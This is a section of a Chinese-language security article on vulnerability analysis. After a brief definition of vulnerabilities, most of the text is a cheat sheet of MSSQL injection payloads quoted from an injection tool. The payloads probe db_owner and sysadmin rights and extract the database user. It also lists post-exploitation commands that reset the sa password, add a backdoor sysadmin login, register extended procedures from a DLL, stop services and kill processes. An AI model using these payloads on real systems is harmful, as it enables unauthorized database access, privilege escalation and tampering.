网络安全 频道

[攻防手记]IT168安全攻防实战论文

    二.漏洞分析

    漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。具体举例来说,比如在Intel Pentium芯片中存在的逻辑错误、在Sendmail早期版本中的编程错误、在NFS协议中认证方式上的弱点、在Unix系统管理员设置匿名Ftp服务时配置不当的问题都可能被攻击者使用。因而这些都可以认为是系统中存在的安全漏洞,威胁到系统的安全。

    安全漏洞向来是网络安全领域首要关注的问题,发现系统的安全漏洞也是黑客进行入侵和攻击的重要步骤。据调查,约有80%的国内网站存在明显漏洞。漏洞的存在使网络上不法分子的非法入侵与袭扰破坏有可乘之机,给网络安全带来了巨大的潜在危险。具体来说,观看动画后感觉此系统的设置存在多处漏洞,漏洞分析如下。

    1.代码编写漏洞
    检查代码中的安全性缺陷,是网站创建过程中的一个关键要素,它与计划、设计和测试同等重要。SQL 注入的症结在于使用字符串连接来构建 SQL 语句,我们可以扫描代码实现。一般而言,检查的重点应放到搜索诸如“update”、“select”、“insert”、“exec”以及列举表名或数据库名之类的单词。“阿D”等注入工具的扫描机制有很多,这里引用阿D主页上的信息:

//看看是什么权限的

and 1=(Select IS_MEMBER('db_owner'))

And char(124)+Cast(IS_MEMBER('db_owner') as varchar(1))+char(124)=1 ;--

//检测是否有读取某数据库的权限

and 1= (Select HAS_DBACCESS('master'))

And char(124)+Cast(HAS_DBACCESS('master') as varchar(1))+char(124)=1 --

数字类型

and char(124)+user+char(124)=0

字符类型

' and char(124)+user+char(124)=0 and ''='

搜索类型

' and char(124)+user+char(124)=0 and '%'='

爆用户名

 and user>0

' and user>0 and ''='

检测是否为SA权限

and 1=(select IS_SRVROLEMEMBER('sysadmin'));--

And char(124)+Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124)=1 --

……..(从略)

 

 

//爆出长度

And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From D99_Tmp)=0 ;--

更改sa口令方法:用sql综合利用工具连接后,执行命令:

exec sp_password NULL,'新密码','sa'

添加和删除一个SA权限的用户test

exec master.dbo.sp_addlogin test,ptlove

exec master.dbo.sp_addsrvrolemember test,sysadmin

删除扩展存储过过程xp_cmdshell的语句:

exec sp_dropextendedproc 'xp_cmdshell'

添加扩展存储过过程

EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'

GRANT exec On xp_proxiedadata TO public

停掉或激活某个服务。

exec master..xp_servicecontrol 'stop','schedule'

exec master..xp_servicecontrol 'start','schedule'

dbo.xp_subdirs

只列某个目录下的子目录。

xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'

dbo.xp_makecab

将目标多个档案压缩到某个目标档案之内。

所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。

dbo.xp_makecab

'c:\test.cab','mszip',1,

'C:\Inetpub\wwwroot\SQLInject\login.asp',

'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'

xp_terminate_process

停掉某个执行中的程序,但赋予的参数是 Process ID

利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID

xp_terminate_process 2484

xp_unpackcab

//更新表内容

Update films SET kind = 'Dramatic' Where id = 123

//删除内容

delete from table_name where Stockid = 3

0
相关文章